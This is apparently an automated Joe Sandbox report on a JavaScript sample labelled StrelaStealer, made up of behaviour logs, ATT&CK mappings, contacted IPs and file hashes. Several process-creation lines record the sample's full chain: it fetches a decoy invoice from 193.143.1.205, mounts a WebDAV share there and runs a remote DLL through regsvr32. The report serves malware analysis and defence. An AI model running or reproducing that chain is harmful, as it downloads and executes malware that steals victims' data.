Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4114			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5772			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6448	Thread sleep count: 4114 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6448	Thread sleep count: 5772 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6224	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 940	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 3716	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 940	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\net.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\net.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\net.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Windows\System32\net.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000003.2190132377.000001E6C5375000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3431917767.00000252A6A58000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3430675378.00000252A1413000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3430695235.00000252A142B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000003.2190132377.000001E6C5375000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWb0
Source: net.exe, 00000007.00000002.2191083321.000001E6C5308000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11029506815518.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11029506815518.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11029506815518.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11029506815518.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11029506815518.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	2 Windows Management Instrumentation	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	141 Virtualization/Sandbox Evasion	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Exploitation for Client Execution	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	141 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	142 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
853872402647317272.js	10%	Virustotal		Browse
853872402647317272.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/Num	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000002.2135139838.000001B78967C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3431824802.00000252A6A00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2192012458.00000252A6C00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000003.2183135572.000001E6C5361000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2191083321.000001E6C5308000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2188471056.000001E6C5339000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2191188807.000001E6C5339000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/Num	net.exe, 00000007.00000002.2191083321.000001E6C5308000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588632
Start date and time:	2025-01-11 03:27:33 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	853872402647317272.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/62@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 3.219.243.226, 52.6.155.20, 52.22.41.97, 3.233.129.217, 172.64.41.3, 162.159.61.3, 2.23.242.162, 4.245.163.56, 199.232.210.172, 23.209.209.135, 52.165.164.15, 2.16.168.105, 2.16.168.107, 23.200.0.169, 23.200.0.133, 192.168.2.5, 40.69.42.241, 13.107.246.45, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
21:28:35	API Interceptor	22x Sleep call for process: powershell.exe modified
21:28:38	API Interceptor	1x Sleep call for process: net.exe modified
21:28:39	API Interceptor	2x Sleep call for process: svchost.exe modified
21:28:51	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2624560062728623951.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	166452923276113028.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16042278381135117219.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1297823757234143258.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20891229701394327174.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7654219842078021961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1231561673271419181.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1487427797195518826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1504631236979031969.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7222172992877722612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2624560062728623951.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2920450291176811805.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	166452923276113028.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16042278381135117219.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1297823757234143258.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20891229701394327174.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7654219842078021961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1231561673271419181.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1487427797195518826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1504631236979031969.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307240485747586
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugo:gJjJGtpTq2yv1AuNZRY3diu8iBVqFi
MD5:	590786B0B3D993DD9FECB3C8D038D508
SHA1:	F5BAB23F642D3A47880EDD2EBE89AEB5316C68EB
SHA-256:	854FBCAABC153D325C3E6ACFFE29747E66EA3216692A836C74ED8262961F87F4
SHA-512:	5767FA221C25036A99382EB0722B1E4C990CE1FB75FF6635784B34732C1E121C0569088F8B9FCCD409BC0EF9E4580512C17DD1582C71F7D35CACBE24D5CFE1D9
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xb654cea2, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585943889502585
Encrypted:	false
